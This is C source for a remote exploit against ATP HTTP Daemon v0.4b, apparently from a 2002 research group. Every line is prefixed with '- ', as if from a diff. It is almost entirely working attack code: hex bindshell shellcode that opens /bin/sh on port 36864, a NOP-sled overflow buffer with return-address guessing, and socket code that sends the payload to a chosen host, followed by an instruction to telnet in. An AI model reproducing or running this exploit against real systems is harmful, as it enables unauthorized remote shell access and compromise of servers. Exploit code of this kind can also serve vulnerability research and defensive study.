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- /* PRPatphttpd.c
- *
- * This program is free software; you can redistribute it and/or modify
- * it under the terms of the GNU General Public License as published by
- * the Free Software Foundation; either version 2 of the License, or
- * (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
- * GNU General Public License for more details.
- *
- * You should have received a copy of the GNU General Public License
- * along with this program; if not, write to the Free Software
- * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
- *
- * -
- *
- * PYR/\MID, Research Project
- * Author: thread
- * Date: 05/10/02
- * Members: Apm, flea, thread
- *
- * Proof of Concept Remote Exploit for ATP HTTP Daemon v0.4b
- *
- * Tested on:
- * i386 Slackware 8.0
- *
- */
-
- #include <stdio.h>
- #include <string.h>
- #include <stdlib.h>
- #include <unistd.h>
- #include <errno.h>
- #include <netdb.h>
-
- #include <netinet/in.h>
-
- #include <arpa/inet.h>
-
- #include <sys/socket.h>
- #include <sys/types.h>
- #include <sys/time.h>
-
-
- /* Constants */
-
- #define BINDSHELL_PORT 36864
- #define ARCHS 1
-
-
- /* External variables */
-
- extern int errno, h_errno; // Already declared in the headers
-
-
- /* Here is a bindshell(code) */
-
- char bindshell[] =
- "\xeb\x72\x5e\x29\xc0\x89\x46\x10\x40\x89\xc3\x89\x46\x0c"
- "\x40\x89\x46\x08\x8d\x4e\x08\xb0\x66\xcd\x80\x43\xc6\x46"
- "\x10\x10\x66\x89\x5e\x14\x88\x46\x08\x29\xc0\x89\xc2\x89"
- "\x46\x18\xb0\x90\x66\x89\x46\x16\x8d\x4e\x14\x89\x4e\x0c"
- "\x8d\x4e\x08\xb0\x66\xcd\x80\x89\x5e\x0c\x43\x43\xb0\x66"
- "\xcd\x80\x89\x56\x0c\x89\x56\x10\xb0\x66\x43\xcd\x80\x86"
- "\xc3\xb0\x3f\x29\xc9\xcd\x80\xb0\x3f\x41\xcd\x80\xb0\x3f"
- "\x41\xcd\x80\x88\x56\x07\x89\x76\x0c\x87\xf3\x8d\x4b\x0c"
- "\xb0\x0b\xcd\x80\xe8\x89\xff\xff\xff/bin/sh";
-
-
- struct arch {
- int id;
- char *arch;
- long ret;
- int start_byte;
- } arch[] = {
- { 1, "ATP HTTP Daemon v0.4b/i386 Slackware 8.0", 0xbffff7ec, 600 }
- };
-
- /* Note that this return address doesn't precisly point to the start
- * of buffer's string (without any environment variables except '_')!
- * It points to somewhere in the first 2/4 of buffer's memory,
- * depending of the memory used by environment variables.
- * This is useful to make some compatibility for systems with
- * different environments.
- */
-
-
- /* Prototypes */
-
- int gen_rand(int min, int max);
- long get_ret(long base_ret, int bytes);
-
- int main(int argc, char **argv) {
- int fd, i, arch_num, tmp;
- long ret;
- struct sockaddr_in host;
- struct hostent *he;
- char buffer[803];
-
-
- printf( "PYR/\\MID, Research Project 02\n"
- "ATP HTTP Daemon v0.4b Remote Exploit, by thread\n\n");
-
-
- /* Checking args */
-
- if (argc == 2 && !strcmp(argv[1], "-h")) {
- printf( "<arch>\n"
- "Valid architectures:\n");
- for (i = 0; i < ARCHS; i++) {
- printf("\t%d - %s - 0x%lx\n",
- arch[i].id,
- arch[i].arch,
- arch[i].ret);
- }
- printf( "\n"
- "<environment memory>\n"
- "If you have no idea about remote atphttpd environment "
- "you should use one of next\n"
- "options for this argument:\n"
- "\n"
- "\t0 - Uses a default return address that works "
- "in the most 'default'\n"
- "\t slackware envrionments (between 520 and"
- " 675 bytes of memory)\n"
- "\n"
- "\t-1 - Generates a random number that will point "
- "to a valid return address\n"
- "\t that works in a specific range of "
- "memory used by the environment\n"
- "\t (good luck ;)\n"
- "\n"
- "NOTE: A high return address value means less "
- "environment memory used\n\n");
- return -1;
- } else if (argc < 5) {
- printf( "Synopsis: %s [-h] <hostname> <port> <arch> "
- "<environment memory>\n"
- "\n"
- "-h\t\t\t- Use this flag as unique argument to "
- "display a detailed\n"
- "\t\t\t help for <arch> and <environment memory> "
- "arguments\n"
- "\n"
- "<hostname>\t\t- Remote hostname or ip address\n"
- "<port>\t\t\t- Remote port\n"
- "<arch>\t\t\t- Architecture\n"
- "<environment memory>\t- It's the number of "
- "bytes that the environment (where\n"
- "\t\t\t atphttpd runs) uses in memory.\n"
- "\n", argv[0]);
- return -1;
- }
-
-
- /* Calculating a new return address */
-
- printf("Calculating a new return address... ");
- fflush(stdout);
-
- arch_num = atoi(argv[3]) - 1;
-
- ret = get_ret(arch[arch_num].ret, atoi(argv[4]));
-
- printf("Done: 0x%lx\n", ret);
-
-
- /* Resolving hostname */
-
- printf("Resolving hostname (%s)... ", argv[1]);
- fflush(stdout);
-
- if (!(he = gethostbyname(argv[1]))) {
- fprintf(stderr, "Error: gethostbyname(): %s\n",
- hstrerror(h_errno));
- return -1;
- } else {
- char *r_ip = (char *) &host.sin_addr.s_addr;
- host.sin_addr.s_addr = *((unsigned long *) *he->h_addr_list);
- printf("Resolved to: %u.%u.%u.%u\n",
- (unsigned char) r_ip[0],
- (unsigned char) r_ip[1],
- (unsigned char) r_ip[2],
- (unsigned char) r_ip[3]);
- }
-
-
- /* Setting remote port and protocol family */
-
- host.sin_port = htons(atoi(argv[2]));
- host.sin_family = AF_INET;
-
-
- /* Creating an end-point for comunication */
-
- printf("Creating an end-point for comunication... ");
- fflush(stdout);
-
- if ((fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) {
- fprintf(stderr, "Error: socket(): %s\n", strerror(errno));
- return -1;
- }
-
- printf("Done\n");
-
-
- /* Connecting to the remote host */
-
- printf("Connecting to the remote host... ");
- fflush(stdout);
-
- if (connect(fd, (struct sockaddr *) &host,
- sizeof(struct sockaddr)) < 0) {
- fprintf(stderr, "Error: connect(): %s\n", strerror(errno));
- return -1;
- }
-
- printf("Connected\n");
-
-
- /* Crafting the string */
-
- memset(buffer, '\x90', sizeof(buffer)); // Fill buffer with NOPs
-
- /* The return address is somewhere around here.
- * It changes a lot of times because
- * the environment changes the buffer's place,
- * so lets fill the memory's field
- * where the return address is used to be:
- */
-
- for (tmp = sizeof(buffer) - sizeof(long) - 3,
- i = arch[arch_num].start_byte; i < tmp;
- i += sizeof(long))
- *(long *)&buffer[i] = ret;
-
- memcpy((buffer + sizeof(buffer) - 1) - 3 - strlen(bindshell)
- - ((sizeof(buffer) - arch[arch_num].start_byte) + 1),
- bindshell, strlen(bindshell)); /* put the code right
- * before the ret addr
- * and ignore the '\0'
- * and LF/CR chars
- */
-
- buffer[sizeof(buffer) - 3] = '\n';
- buffer[sizeof(buffer) - 2] = '\r';
- buffer[sizeof(buffer) - 1] = 0;
-
-
- /* Now sending the crafted string to the remote host */
-
- printf("Sending buffer to the remote host... ");
- fflush(stdout);
-
- if (write(fd, buffer, strlen(buffer)) < 0) {
- fprintf(stderr, "Error: write(): %s\n", strerror(errno));
- return -1;
- }
-
- printf("Sent\n");
-
-
- /* Close the file descriptor */
-
- printf("Closing the connection... ");
- fflush(stdout);
-
- if (close(fd) < 0) {
- fprintf(stderr, "Error: close(): %s\n", strerror(errno));
- return -1;
- }
-
- printf("Closed\n");
-
- printf("\nNow try: telnet %s %d\n", argv[1], BINDSHELL_PORT);
-
- return 0;
- }
-
- int gen_rand(int min, int max) {
- struct timeval tv;
- gettimeofday(&tv, NULL);
- srand(tv.tv_usec);
- return (min + (rand() % (max / 2)));
- }
-
- long get_ret(long base_ret, int bytes) {
- if (!bytes)
- return 0xbffff4ec;
- if (bytes < 0)
- return get_ret(base_ret, gen_rand(5, 1500));
-
- return ((base_ret - bytes) - ((bytes >> 8) << 3));
- /* ^^^^^^^^^^^^^^^^^^^ */
- /* This will try to reduce the */
- /* error tax of the result */
-
- /* Note that this isn't an exact calculation! This will return
- * a value that should point to somewhere in the first 2/4 of
- * buffer's memory. This should work for 90% of the cases.
- */
- }
-